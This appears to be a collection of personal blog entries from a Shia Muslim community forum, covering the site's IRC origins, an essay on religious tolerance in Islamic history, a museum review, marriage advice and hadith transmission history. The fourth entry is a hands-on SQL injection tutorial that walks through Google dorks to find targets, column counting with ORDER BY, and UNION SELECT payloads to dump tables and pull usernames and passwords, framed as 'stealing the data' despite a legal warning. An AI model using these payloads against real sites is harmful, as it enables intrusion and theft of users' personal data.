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    [This will be a series of blog entries on the history of ShiaChat.com; how it was founded, major ups and down, politics and issues behind running such a site and of course, the drama!  I will also provide some feedback on development efforts, new features and future goals and objectives]

    Part 1 - The IRC (#Shia) Days!

    Sit children, gather around and let me speak to you of tales of times before there was ever high-speed Internet, Wi-Fi, YouTube or Facebook; a time when the Internet was a much different place and 15 year old me was still trying to make sense of it all. 

    In the 90s, the Internet was a very different place; no social media, no video streaming and downloading an image used to take anywhere from 5-10 minutes depending on how fast your 14.4k monster-sized dial up modem was.  Of course you also had to be lucky enough for your mom to have the common courtesy not to disconnect you when you’re in the middle of a session; that is if you were privileged enough to have Internet at home and not have to spend hours at school or libraries, or looking for AOL discs with 30 hour free trials..(Breathe... breathe... breathe) -  I digress.

    Back in 1998 when Google was still a little computer sitting in Larry Page and Sergey Brin’s basement, I was engaged in armchair jihadi-like debates with our Sunni brothers on an IRC channel called #Shia.  (Ok, a side note here for all you little pups.  This is not read as Hashtag Shia, the correct way of reading this is “Channel Shia”.  The “Hash tag” was a much cooler thing back in the day than the way you young’uns use it today).

    For those of you who don’t know what IRC was (or is... as it still exists), it stands for Internet Relay Chat, which are servers available that you could host chat rooms in and connect through a client.  It was like the Wild West where anyone can go and “found” their own channel (chat room), become an operator and reign down their god-like dictator powers upon the minions that were to join as member of their chat room.  Luckily, #Shia had already been established for a few years before by a couple of brothers I met from Toronto, Canada (Hussain A. and Mohammed H.).  Young and eager, I quickly rose up the ranks to become a moderator (@Ali) and the chatroom quickly became an important part of my adolescent years.  I learned everything I knew from that channel and met some of the most incredible people.  Needless to say, I spent hours and dedicated a good portion of my life on the chatroom; of course the alternate was school and work but that was just boring to a 15 year old.

    In the 90’s, creating a website was just starting to be cool so I volunteered to create a website for #Shia to advertise our services, who we are, what we do as well as have a list of moderators and administrators that have volunteered to maintain #Shia.  As a result, #Shia’s first website was hosted on a friend’s server under the URL http://786-110.co.uk/shia/ - yes, ShiaChat.com as a domain did not exist yet – was too expensive for my taste so we piggy backed on one of our member’s servers and domain name.

    The channel quickly became popular, so popular that we sometimes outnumbered our nemesis, #Islam.  As a result, our moderator team was growing as well and we needed a website with an application that would help us manage our chatroom in a more efficient style.  Being a global channel, it was very hard to do “shift transfers” and knowledge transfers between moderators as the typical nature of a chatroom is the fact that when a word is typed, its posted and its gone after a few seconds – this quickly became a pain point for us trying to maintain a list of offenders to keep an eye out for and have it all maintained in a historical, easily accessible way.

    A thought occurred to me.  Why not start a “forum” for the moderators to use?  The concept of “forums” or discussion boards was new to the Internet – it was the seed of what we call social media today.  The concept of having a chat-style discussion be forever hosted online and be available for everyone to view and respond to at anytime from anywhere was extremely well welcomed by the Internet users.  I don’t recall what software or service I initially used to set that forum up, but I did – with absolutely no knowledge that the forum I just setup was a tiny little acorn that would one day be the oak tree that is ShiaChat.com.

    [More to follow, Part 2..]

    So who here is still around from the good old #Shia IRC days?

     

     

     

  1. بسم الله الرحمن الرحيم

               

                Not only is Islam the second-largest religion in the world, but it is the world’s fastest growing religion. With globalization and the influx of Muslim immigration to the West, many people are reluctantly meeting Muslims for the first time. Fear of the unknown is common, but that fear is constantly perpetuated by images of violence in the Muslim world. As a visible minority with little political leverage, the Muslim community is an easy target for xenophobes, warmongers, and nationalists. The Muslim world is the needed bogeyman for the military-industrial complex, private security companies, and isolationist politicians to thrive. Rather than trying to understand the complex imperial and economic variables that cause violence in the Muslim world, it is both simpler and more cunning to resort to generalized arguments about Islam. This view, however, overlooks the many scientific and philosophical contributions Muslims have made to Western civilization. More importantly, it distorts the reality of the Muslim civilization’s mostly-tolerant history. The centuries-old narrative that Islam was “spread by the sword” is still popular today, and it causes Muslims living in the West to be looked at as a suspicious Trojan horse waiting to Islamize the world. It is therefore necessary for us to deconstruct this worldview. This paper will briefly explore the rise and expansion of Islam, and demonstrate that tolerance and plurality were founding principles of Islamic ethics.

                Since the early days of the Prophet Muhammad’s ministry, Islam’s relationship with non-Muslim communities has been notable. Shortly after the Muslim migration to Medina (then known as Yathrib) in 622 CE, the Prophet drafted the Constitution of Medina. This charter put an end to tribal infighting in Medina, created a new judicial system, guaranteed the mutual protection of Muslims and non-Muslims, and established a new “Community of Believers (mu’mineen)”. (Gil, 2004, pp. 21) This community would include the Jewish tribes of Medina, while still recognizing their distinct identity and laws. Although Bernard Lewis claims that the Constitution of Medina was a unilateral proclamation by Muhammad, (Lewis, 1993, pp. 22) Muslim sources generally referred to it as a pact between the Muslims and the Jews following the two pledges at `Aqaba. Furthermore, Wellhausen, a German orientalist, regarded this charter to be a multilateral agreement negotiated between all of the involved groups. (Gil, 2004, pp. 22)

                The Prophet Muhammad also ratified writs of protection to other communities. The Ashtiname of Muhammad, which was written by `Ali b. Abi Talib upon the commission of Muhammad, granted privileges to the Christian monks of St. Catherine’s Monastery in Egypt. (Ratliff, 2012, pp. 63) The document guarantees that Christians are not to be overtaxed, plundered, disturbed, or coerced into marriages. (Morrow, 2013) These covenants demonstrate that the Prophet pursued a peaceful and tolerant coexistence with other communities, and made his followers accountable to ethical principles of justice.            

    The Prophet Muhammad very plainly stressed the equality of all people, regardless of tribe, colour, class, or ethnicity. While rights differed among subgroups of society, the Islamic civilization held no concept of the natural subordination of individuals or groups. (Hamid, 1982, pp. 127) Conversion to Islam only required a simple declaration of faith, while becoming a member of the ancient Greek polity was only possible for Greek male property owners. (Hamid, 1982, pp. 127)  The egalitarianism of the Quranic message was attractive to many who sought social refuge from the caste system and other forms of subordination. (Eaton, 1992, pp. 117)

    The Caliphate’s medieval conquests, which occurred after the Prophet Muhammad, are the main source of agitation among those suspicious of Muslims. It should be noted that `Ali b. Abi Talib, who is considered the rightful successor to Muhammad by Shia Muslims, refrained from taking part in these conquests, despite being renowned as a great warrior. There should be no doubt that there were incidents that occurred during early expansion that are not in line with the teachings of the Prophet, especially during the ridda wars and the Battle of `Ulays. The Shia Imams consistently held the Caliphate accountable during mistrials and in moments of nepotism; and they struggled to establish social and economic justice in the Muslim world. But, the frame that the Islamic conquests were wholly or mostly negative is a Eurocentric view that does not account for other pieces of the puzzle.

                Many ancient texts document extensive Judeo-Christian support for the Muslim conquests of Byzantium and Persia. Jews in the Levant had expected a redeemer who would deliver them from the Roman occupiers. (Crone, 1977, pp. 3-6) The Romans had destroyed the Jerusalem Temple in 134 CE, outlawed Jews from living within ten miles of Jerusalem, disbanded the Jewish high court, taxed the Jews heavily, and persecuted them for siding with the Persians. This torment ignited a messianic fervour among medieval Jews, leading to a widespread anticipation of a saviour. One of the earliest non-Muslim references to the rise of Islam is the Doctrina Jacobi, a Greek Christian anti-Jewish polemical text written in 634 CE, just two years after the passing of Prophet Muhammad. The text describes “overjoyed” Jews celebrating the Muslim arrival in Byzantium. (Crone, 1977, pp. 3) Moreover, The Secrets of Simon ben Yohai, a Jewish apocalyptic text written between the seventh and eighth centuries CE, tells of the emergence of an Ishmaelite “prophet according to God’s will” who would save the Jewish people from their oppressors. (Crone, 1977, pp. 4-5)

    The Islamic conquest of the Levant would restore Jewish access to Jerusalem and establish a polity that would include Muslims, Christians, and Jews alike. The Pact of Umar II, a writ of protection extended by `Umar b. `Abd al-`Aziz in the seventh century, promised safety and the right to worship to Jews, Christians, and Zoroastrians in exchange for the payment of the poll tax (jizya). (Berger, 2006, pp. 88) While some orientalists have criticized the Pact’s prohibition on riding horses, Muslim clothing and building high structures, these stipulations may have been placed to prevent insurrections against Muslim garrisons, rather than to humiliate or subordinate non-Muslims.

                The Muslim treatment of non-Muslims was similarly commended by Near Eastern Christians. John bar Penkaye, an East Syriac Nestorian writer of the late seventh century, praised the Muslim overthrow of the Sassanid dynasty. In his Summary of World History, he writes, “We should not think of the advent [of the children of Hagar] as something ordinary, but as due to divine working. Before calling them, [God] had prepared them beforehand to hold Christians in honour, thus they also had a special commandment from God concerning our monastic station, that they should hold it in honour … God put victory in their hands.” (Pearse) This early Christian account documents the just conduct of Muslim rulers, likening it to divine intervention. Furthermore, after the Byzantines had seized control of Egypt and put the Coptic Patriarch Benjamin I of Alexandria into exile, the Muslim conquerors restored Benjamin I’s authority and brought order to the affairs of the Coptic Church.

    Many cultures were drawn to Islam’s magnetic social appeal. Indonesia, which is the country with the highest population of Muslims, encountered Arab merchants in the thirteenth century. Along with the arrival of Muslim commercialism, Islamic stories and symbols were introduced to the population through traditional wayang puppet shows. (Hamish, 2011, pp. 46-51) In the Indian subcontinent, Islam provided social mobility to lower castes, giving people equal rights and freeing them from total subservience to the Brahmans. The transformative power of Sufism was also attractive to many Hindus who sought ascetic, mystical brotherhoods. (Lapidus, 1988, pp. 363) Sufi and Shia saints continue to be revered by Hindu and Sikh poets in India.

    Although the Muslim empires had a tumultuous relationship with European Christians over the centuries, sizable Christian and Jewish communities with ancient origins continued to thrive in the Muslim world. Moorish and Ottoman confrontations with Christendom have propelled the misconception that Islam was spread by the sword. The fact is, however, that the conversion of the Near East to Islam occurred very gradually. By 800 CE, only 18% of Iraq’s population was Muslim. (Brown, 2016) Furthermore, Egypt, Spain, and the Levant did not attain a Muslim majority until the eleventh century. (Brown 2016) This means that the Muslims were a minority in the heartlands of their own civilization for hundreds of years. While poll taxes and other social pressures certainly promoted conversion to Islam, ancient churches, synagogues, temples, and other relics were maintained. Judeo-Christian populations even had rights to printing presses and European books in the Ottoman Empire – a privilege rarely granted to Muslims. (Brown, 2016) 14% of the Middle East remained Christian by 1910, with significant populations in Syria, Palestine and Egypt. (Brown, 2016)

    On the other hand, Christendom had a relatively poor record with minorities. Although Iberia was mostly Muslim in the fifteenth century, all Muslims were expelled or forced to convert to Christianity in 1526. (Brown, 2016) In 1609, 3-4% of Spain’s population consisted of Christian descendants of Muslims, who were also expelled under King Philip the Third. Anti-Jewish pogroms were also common in pre and post-Enlightenment European history. While there are many ancient Christian communities in the Muslim world, there are practically no ancient Muslim communities in the Christian world, despite Islam’s long history in Spain, Portugal, Sicily, and Eastern Europe.

                In recent decades, the Muslim world’s relationship with its non-Muslim minority communities has suffered. Colonialism, neo-imperialism, military dictatorships, and poor economies have sometimes caused the alienation and scapegoating of ethnic and religious minorities in the Muslim world. In June 2014, the so-called Islamic State of Iraq and the Levant (ISIL), which rose out of the destabilization of Iraq and Syria, routed Christians out of Mosul. This genocide marked the end of over a thousand years of continuous Muslim-Christian coexistence in the region. While ISIL’s actions are a black mark on modern Islamic history, ISIL’s main military and ideological opponents are other Muslims in the region and around the world. This paper demonstrates that normative Islam seeks unity under common ethical principles. It is vital for Muslims to revive an equitable, pluralistic and tolerant worldview, not just because diversity is strength, but because it is the ethos of our civilization.           

     

    Bibliography

    Berger, Julia Phillips., and Sue Parker. Gerson. Teaching Jewish History. Springfield, NJ: A.R.E. Pub., 2006. Print.

    Pearse, John Bar Penkaye, Summary of World History (Rish Melle) (2010). N.p., n.d. Web. 9 July 2016.

    Crone, Patricia, and Michael Cook. Hagarism: The Making of the Islamic World. Cambridge: Cambridge UP, 1977. Print.

    Http://www.youtube.com/channel/UC4L23Z_agh1qeV_odQfV6Vg. "Dr. Jonathan AC Brown - The Message of Peace Spread by the Sword - UMaine IAW 2016." YouTube. YouTube, 2016. Web. 9 July 2016.

    Eaton, Richard Maxwell. The Rise of Islam and the Bengal Frontier, 1204-1760. Berkeley: U of California, 1993. Print.

    Gil, Moshe, and David Strassler. Jews in Islamic Countries in the Middle Ages. Leiden: Brill, 2004. Print.

    Harnish, David D., and Anne K. Rasmussen. Divine Inspirations: Music and Islam in Indonesia. New York: Oxford UP, 2011. Print.

    Lapidus, Ira M. A History of Islamic Societies. Cambridge: Cambridge UP, 1988. Print

    Lewis, Bernard. The Arabs in History. Oxford: Oxford UP, 1993. Print.

    Morrow, John A. The Covenants of the Prophet Muhammad with the Christians of the World. N.p.: n.p., n.d. Print.

    Ratliff, Brandie, and Helen C. Evans. Byzantium and Islam: Age of Transition, 7th-9th Century. New York, NY: Metropolitan Museum of Art, 2012. Print.

    ʻInāyat, Ḥamīd. Modern Islamic Political Thought. Austin: U of Texas, 1982. Print.

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  2. Haji 2003
    Latest Entry

    The man was a background celebrity in my childhood. His name had become synonymous with martial arts, but I don't think I've seen any of his movies. Anyway, I had a spare couple of hours to kill in the Tai Wai district of Hong Kong and saw signs for the Heritage Museum, so I thought I'd pay a visit.

    It says something about Hong Kong that such a rich colony only got such a museum well after the British left.

    This special, temporary exhibition is really well done, it takes up one of the three floors of the museum. It charts Bruce Lee's childhood (born in Hong Kong and then emigrated to the U.S.) and shows how his career developed. You get to see all the equipment he trained with and even more interestingly the books that he read. That was a real eye-opener. There are texts on Chinese history and philosophy as well as ones on business and personal success. You get a real feel for someone who wanted to develop himself physically, spiritually and focus that on building a business. He developed his own martial art and there are notes about what ideas underpinned this.

    It gets better. The exhibition documents how we used his martial arts expertise to train Hollywood stars and get into that industry. There are beautiful, directorial handwritten notes he made on how he wanted his movies shot. His sketches of fight sequences reminded me of Rodin. He was also a prolific letter writer and you get some feeling for his networking through his communications. I understand that he's revered, almost worshipped in some parts, obviously, he was much more than many of today's athletes.

    He died young and there is some controversy about his death and I've read on Quora that he must have been taking steroids, which wasn't illegal in those days.

    It's a really neat exhibition and given its high production values I guess it will be touring various other museums around the world at some stage.

  3. Marriage is not easy. You have to get to know each other. You are used to doing everything your own way. Now you need to compromise. Share with each other. Give and take. If you take more than you give, it won't be as sweet. Do not expect more from your spouse than your spouse will need from you. Life is good. It's better when you are together. If you both do your best. 

     May your days be sunny, your nights restful, and your heart satisfied with the blessings that Allah has given you. Think Positive. 

  4. WARNING: PERFORMING AN SQL INJECTION (indeed any form of hacking) WITHOUT PERMISSION OF THE PEOPLE WHO OWN THE THING YOU ARE TRYING TO HACK IS VERY ILLEGAL. IF CAUGHT, YOU WILL GO TO JAIL. DO NOT BE AN IDIOT. ITS VERY EASY TO BE CAUGHT IF YOU ARE BASIC LEVEL. THERE'S PLENTY OF SAFE (LEGAL) WAYS TO PRACTICE. 

    SQL injection is a form of hacking where you manipulate a standard search bar to steal data from a website. the best way to think about it is, imagine that when you search for something in a search bar, the website looks for results in a table in a database. an SQL injection is used to "steal" the information in that database. so for example lets say I wanted to search for the member @notme in shiachats search bar. her profile name might be held in a table that also lists her email address, personal info, address, credit card details, passwords etc. I could use a SQL injection to get the whole table of all members of SC and all their personal information. 

    Luckily, the security on SC is 10/10 and this is not possible. but there's far too many websites which do not take cyber security seriously, and keep all sensitive data in basically unprotected tables. 

    we will firstly look at the theory behind it, then do the old fashioned (manual) way so we can fully understand how everything works. hacking isn't just remembering some commands or pressing a few buttons, its more of an art- a way to think. its a way to solve puzzles. SQL injections are a perfect example of that. 

    an excellent discussion of what SQL is, and why this works:

    http://www.kalitutorials.net/2014/03/sql-injection-how-it-works.html 

    really take a few minutes to get your head around SQL. its not complicated, it doesn't take long, and by understanding the theory, everything to follow becomes 1000 times easier. 

    Doing it manually

    my notes are based on this guide:

    http://www.kalitutorials.net/2014/03/hacking-websites-using-sql-injection.html

    (1) GOOGLE DORKS

    a "google dork" is a way of using googles search facility to find websites that could be sensitive to SQL injection. 

    an example of a google dork is typing this into google:

    inurl:"products.php?prodID="

    if you type this in to google, it brings up a list of websites that have .php in the URL. this is what we are looking for. the other bits of the code are just used to narrow down the search a bit if you can guess what some of the headings of the columns in the table are. 

    a more complete list of Google Dorks can be seen here:

    http://1337mir.com/hacking/2013/10/google-dorks-sql-injection/ 

    no one is ever going to expect you to memorise these off by heart. what matters is you remember the structure of the command.

    inurl: tells google to look within the URL for some text you are about to type
    "<guess a name of the very first column>.php? look for a URL that includes this
    <something>=" what lies after the = is the code we will type to expose the vulnerabilities

    (2) NARROWING DOWN THE LIST TO FIND ACTUALLY VULNERABLE SITES

    this bit is pretty neat. basically lets say you find a website with the URL:

    www.TatbirBlades.com/products.php?prodID=25

    to find out if this website can be victim of a SQL injection or not, simply replace the "25" at the end with a single quote mark ', and see if the web page shows you some error like "Not found","Table","Database","Row","Column","Sql","MysqL" or anything related to a database. In some cases, there would be no error, but there would be some berserk/ unexpected behavior on the page, like a few components not showing up properly, etc.

    if you see something like that, you know that this website is a target:

    asterisk.PNG

     

    (3) FINDING OUT HOW MANY COLUMNS ARE IN THE TABLE YOU ARE ABOUT TO STEAL

    this is just trial and error. 

    go back to the URL above:

    www.TatbirBlades.com/products.php?prodID=25 

    and add a bit of code to the end:

    www.TatbirBlades.com/products.php?prodID=25+order+by+1

    keep changing the number by the end by increments of 1 till you get an error. the last number before the error is how many columns are on the table. 

    so if the final code you enter before an error is 

    www.TatbirBlades.com/products.php?prodID=25+order+by+15

    you know then, that there are 14 columns in total. 

    so for example if there are 10 increments so far and no error:

    columns.PNG

     

    but when you do the 12th column you get this error:

    success.PNG

    you know that there is no 12th column, so there must be 11 columns. 

    (4) FINDING OUT WHICH OF THESE COLUMNS ARE SENSITIVE TO ATTACK

    a vulnerable column is one that allows us to submit an SQL query into the SQL table, through the website URL. 

    lets say that our table have 4 columns. 

    we would enter this code

    www.TatbirBlades.com/products.php?prodID=25+union+select+1,2,3,4. sometimes you have to put a minus sign - instead of an equals sign = before the first +, so for example

    www.TatbirBlades.com/products.php?prodID-25+union+select+1,2,3,4 

    instead of 

    www.TatbirBlades.com/products.php?prodID=25+union+select+1,2,3,4

    the page will load properly, except a random number showing up somewhere. take a note of this. this is the vulnerable column. 

    lets say the number 2 pops up somewhere randomly on the page. we then know that column 2 is the vulnerable one. 

    lets use a real example. 

    Lets imagine we have the following result from typing one of the above two URLs:

    union.PNG

    the numbers 11, 7, 2 and 9 appear. 

    we then use the other code (not using the minus after the equals sign) and get this:

    origina.PNG

     

    we can see that the difference between the two, is the number 11. 

    this means that the 11th column is the vulnerable one. BOOM TOWN. 

    thats actually the hardest bit of an SQL injection done. 

    lets recap

    - we identified that the site www.tatbirBlades.com could be victim
    - we identified the size of the table
    - we identified which of the columns in the table are vulnerable

    next, we enter the last code we just used to identify the vulnerable column (i.e. the one that shows the vulnerable column number. in this case it is the one with the minus sign after the equals sign), with an extra bit on the end -  @@version

    So the code would look something like this:

    www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,@@version

    this will tell us the version of SQL being used by the website. 

    when you enter the code, you will see something like this:

    @@.PNG

     

    The server is using Sql version 5.1.69, most probably MySQL (pretty common). Also we know the OS is Ubuntu.

    STEALING THE DATA

    we have all the info we need now. 

    In our query which we used to find vulnerable columns (i.e. www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,11), we will replace the vulnerable column with table_name and add prefix +from+information_schema.tables. The final url will be

    www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,table_name+from+information_schema.tables

    can you see how the column number (in this case, 11) has been replaced?

    if we enter this URL, we might get something like the following:

    Capture.PNG

    this shows us that the table that column 11 is in, is called "Character_Sets". we dont want just 1 table though, we want the whole database!

    to get all the tables, we simply replace the table_name with group_concat(table_name) to get all tables

    www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(table_name)+from+information_schema.tables

    We now can see:

    Capture.PNG

    All the tables in the database!!!

    so lets say the list of tables is:


    CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS

    that "EVENTS" table looks pretty juicy to me. I want to steal that one. 

    to do this, first of all I convert the word "EVENTS" to hex code using any free online text to hex translator. the hex code for the word "Events" is:

    4556454e5453

    remember to always add 0x to the start of any hex code, so the full code is:

    0x4556454e5453

    got it? now all you need to do is enter the following URL:

    www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(column_name)+from+information_schema.columns+where+table_name=0x4556454e5453

    can you see how logically we are building up the commands so far? 

    like I said, its not HARD. its just about knowing how to think, and knowing enough SQL to find out what you need to know. 

    if you have done the code correctly, then you should see a list of all the columns in the EVENTS table:

    Capture.PNG

    We will follow the same pattern as we did so far. We had replaced the vulnerable column (i.e. 11) with table_name first, and then column_name. Now we will replace it with the column we want to obtain data from. Lets assume we want the data from the first column in the above pic, ie. event_catalog. We will put the following URL-

    www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,EVENT_CATALOG+from+information_schema.EVENTS 

    if you see nothing:

    failure.PNG

    that means that our query was fine (otherwise we would see an error message) but the table we just downloaded is empty. it happens all the time. 

    so we need to steal data from another, more useful table. 

    lets try CHARACTER_SETS and the first column CHARACTER_SET_NAME (we know the first column by repeating the steps above)

    by looking at the name CHARACTER_SETS, we can assume that it will just be a table of the different types of languages that data can be inputted in. luckily, as well as being an expert hacker, I am also a big fan of languages so am really keen to see what languages are used in this database. 

    I enter the following code, in the exact same format as before:

    www.tatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(CHARACTER_SET_NAME)+from+information_schema.CHARACTER_SETS

    and get the following:

    success.PNG

     

    so I know what all the values are! 

    In a similar manner you can go through other tables and columns. It will be definitely more interesting to look through a table whose name sounds like 'USERS' and the columns have name 'USERNAME' and 'PASSWORD'.  I would show you how to organise results in a slightly better way and display multiple columns at once. This query will return you the data from 4 columns, separated by a colon (:) whose hex code is 0x3a.

    www.TatbirBlades.org/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(CHARACTER_SET_NAME,0x3a,DEFAULT_COLLATE_NAME,0x3a,DESCRIPTION,0x3a,MAXLEN)+from+information_schema.CHARACTER_SETS

    Capture.PNG

    Look at all that lovely, lovely data!!!!

    this is literally the oldest, slowest, most manual way to sql inject. theres a much quicker way to do it, but with this version, you dont need any fancy shmancy software or operating system. you can do it right in your regular old internet browser. 

    get your head around the steps and structure of the SQL commands, next post will show how to automate like 90% of the process. 

  5. A placeholder for the second chapter, summarising my research findings into the decline of Shi'i Intellectual thought production, which will focus on:

    - how the 'chain/sanad' method contributed to this decline,  killed off any hope of academic revival ,and dumbed down the level of scientific research within the Religious seminaries. 

    - the foremost scholar to establish this method of eliciting religious rulings and verifying narrations  (knowingly or unknowingly) - S AbulQassim alKhoei, may God bless his soul,and the people who followed his method after him.

    I want to be absolutely clear that my research focuses entirely on the methodologies used by these different currents (Akhbaris/Usoolis etc), and not the individuals who became famous as a result of it. 

     

  6. So how’s this whole 21st century thing coming along? Yeah.

    With the passage of time, each new era is forced to carry a higher burden and inherit a larger legacy than the generation before. Time is a double edged sword. On one end, more time can expand the opportunity to build constructive relationships, goodwill, positive institutions, and human progress. Conversely, time can serve to widen the accumulation of baggage, knot tighter the machinations of deceit and derision, and aid in the solidification of deviant ideologies, perverse mythologies, and exploitative institutions. In this regard, time is an empty canvas waiting to be marked by any paintbrush, big or small, with whatever paint along the way. 

    Paint is the (im)moral force that gives purpose and relevancy to this big and blank amoral whiteboard known as time. Paint comes in many colors, and can create many designs. Some are beautiful, enhance the surrounding landscape, and work synergistically with other designs, creating a diverse, but single hearted masterpiece. Other paints give ugly imprints, ones that impose themselves unapologetically, have no concern for the holistic creative vision, and serve as an unwelcome blemish. For those who believe in the holy and natural, we know the righteous paints will never tarnish, while the awful ones will water down and fade in their own impurities. 

    So what’s the 21st century portrait looking like? If time is an ever increasing size canvas, yet more paint has been plastered era after era at a much higher proportion, is there anything left for us to put? Anything we can add, or are we simply overwhelmed handling what’s already been dried on? I think the latter is the case. This is our destiny and burden. Our mission will not be to make history, but rather detoxify and realign what’s been accumulated - the human, economic, social, political, environmental, ideological…and all the rest. To redirect towards a proper moral direction. To clean up the mess of our dead ancestors. To not give birth, but to raise what’s been born. 

    We are being helped by science and technology, growing at a faster pace than ever before. We are helped by a huge explosion in the information sector, ease of travel and communication, and a range of logistical conveniences. We can interpret these things as proof of human accomplishment, but more importantly I would humbly call it a gift from above - to help aid us with our mission, as if our creator knows what we need. Divine guidance and support!

    All of us were chosen and raised in a certain time period for a reason, only known to our creator. We shouldn’t let ourselves get wrapped up in self-importance or arrogance about this. Are we “better” or just “different” than those in other times? I don’t think we have the time to worry about such a question. 

    References to war are rife throughout history, and that’s the case here. Specifically, the concept of “total war”, where every resource down to the minute is involved in the effort. In today’s case, every capital resource - the community, personal, psychological, technological - are essential for our mission, and no individual is beyond the scope of relevance and suitability. We have no choice but to go “all in”, and nothing can be held back, if we want any chance of success of a dignified outcome. 

    So this affects me of course, because it instantly puts me on notice. What can I clean up? What micro changes can I contribute, throw in the pot, to help with the macro efforts? The degree of inward digging should hopefully correlate to outward action. I am proud of living in this era, because it gives me an incentive for spiritual and personal re-examination. 

    What do you guys think?

     

  7. Original full post: http://www.iqraonline.net/the-transfer-of-kufas-hadith-heritage-to-qom-history-of-imami-shii-theology-5/

    During the Imamate of Imam Baqir (s) and Sadiq (s), there was a lot of encouragement from the Imams to their students and companions to begin recording down traditions. As this shift from oral to a written tradition became a culture amongst them, there was naturally a large output of written works over the next century. Kufa being the hub for Shi’i activity naturally possessed the most written works at the time.

    As scholars from Qom would initially travel to Kufa to acquire traditions of the Imams from the various scholars and companions that resided there, the tables would eventually turn as Kufa’s scholarly circles began to diminish and its heritage began being transferred to Qom. Scholars who played a role in transferring this heritage to Qom include personalities such as Muhammad bin Khalid al-Barqi, Husayn bin Sa’eed al-Ahwazi, Ahmad bin Muhammad bin ‘Isa al-Ash’ari, Ibrahim bin Hashim and others. To analyze this phenomenon in a little more detail, bibliographical works are utilized to see how books were being moved around from one place to another.[1]

    Muhammad bin Khalid al-Barqi and his son Ahmad bin Muhammad al-Barqi are two other individuals who played a role in this transfer. Most of their teachers appear to be from Kufa, whereas their students appear to be from Qom. Both father and son also seem to have traveled to Kufa like Ahmad bin Muhammad al-Ash’ari and tooks narrations from there and then returned back to Qom to transmit them. Muhammad bin Khalid al-Barqi seems to be the earliest person to have brought over some of the Kufan hadith heritage to Qom. However, he does not seem to have very cautious in who he would take narrations from and was accused of even narrating from weak narrators.[2] There are also hardly any traditions that he narrates from reliable scholars such as Hasan bin Mahbub or Ibn Abi ‘Umayr. This eventually even leads to Ahmad bin Muhammad al-Ash’ari (the next scholar) exiling Muhammad al-Barqi out of Qom.

    Ahmad bin Muhammad bin ‘Isa al-Ash’ari who was one of the greatest scholars of Qom during his time, played a great role in bringing over the Kufan heritage by traveling to Kufa himself. Some of the works that he was able to bring back to Qom with himself were the book of ‘Ala bin Zarin, Aban bin ‘Uthman al-Ahmar, Ahmad bin Muhammad bin Abi Nasr al-Bazanti, Hasan bin Mahbub al-Kufi, Hasan bin ‘Ali bin Fadhdhal, Safwan bin Yahya al-Bajali, ‘Abdul Rahman bin Abi Najran, ‘Ali bin Hadid al-Mada’ini, Ibn Abi ‘Umayr, Muhammad bin Ismail bin Bazi’, and Muhammad bin Sinan Zahiri.

    What is of interest here is that the books Ahmad was bringing with him were those that were famous, well-known and reliable works within Shi’i scholarly circles. This indicates that Ahmad was very cautious of the narrations he accepted and transmitted, and we see this translating into him exiling many narrators from Qom (like the aforementioned al-Barqi) who he found to be narrating from weak narrators.

    Husayn bin Sa’eed bin Hammad bin Sa’eed bin Mehran al-Ahwazi was another Kufan scholar who played a role in bringing over some works to Qom. Him and his brother Hasan first leave Kufa and travel to Ahwaz and then migrate to Qom. They bring with themselves the works of Rib’iyy bin ‘Abdillah al-Basri, Shu’ayb al-‘Aqr Qufiyy, Hamid bin Muthanna, Qasim bin Muhammad Jawhari al-Kufi, Qasim bin Sulayman al-Baghdadi, Qasim bin ‘Urwah al-Baghdadi, Hariz bin ‘Abdillah al-Sijistani, Zur’ah bin Muhammad al-Hadhrami and more. Husayn also brings with himself thirty of his own written works to Qom and transmitted them to various students.

    Abu Ja’far Muhammad bin ‘Ali bin Ibrahim bin Musa al-Sayrafi – known as Abu Sumaynah, a Kufan narrator who was eventually exiled from Qom by Ahmad bin Muhammad as well, brought with him the book of Ishaq bin Yazid bin Ismail al-Ta’i, some books of Ismail bin Mehran bin Abi Nasr al-Sakuni, book of Hafs bin ‘Asim Salami, book of Sulaym bin Qays, book of Salam bin ‘Abdillah al-Hashimi, book of Haytham bin Waqid Jazari, book of Abu Badr al-Kufi and the book of Nasr bin Mazahim al-Kufi. He will be referred to again in a later post when we discuss the phenomenon of certain narrators being exiled from the city of Qom.

    Muhammad bin ‘Abdul Jabbar al-Qumi – known as Ibn Abi al-Sahban, a companion of Imam Jawwad, Hadi, and ‘Askari. He was also one of those scholars who traveled to Kufa and brought back with him some of Kufa’s hadith heritage. His most important teachers in Kufa were Safwan bin Yahya, Muhammad bin Ismail Bazi’, and Hasan bin ‘Ali bin Fadhdhal. It doesn’t seem like he had any book of his own, and was merely recognized as someone who was able to transfer over some of the hadith works from Kufa to scholars in Qom. Most of his narrations in Qom are narrated by Ahmad bin Idris, ‘Abdullah bin Ja’far al-Himyari, Muhmmad bin al-Hasan al-Saffar and Muhammad bin Yahya al-‘Attar.

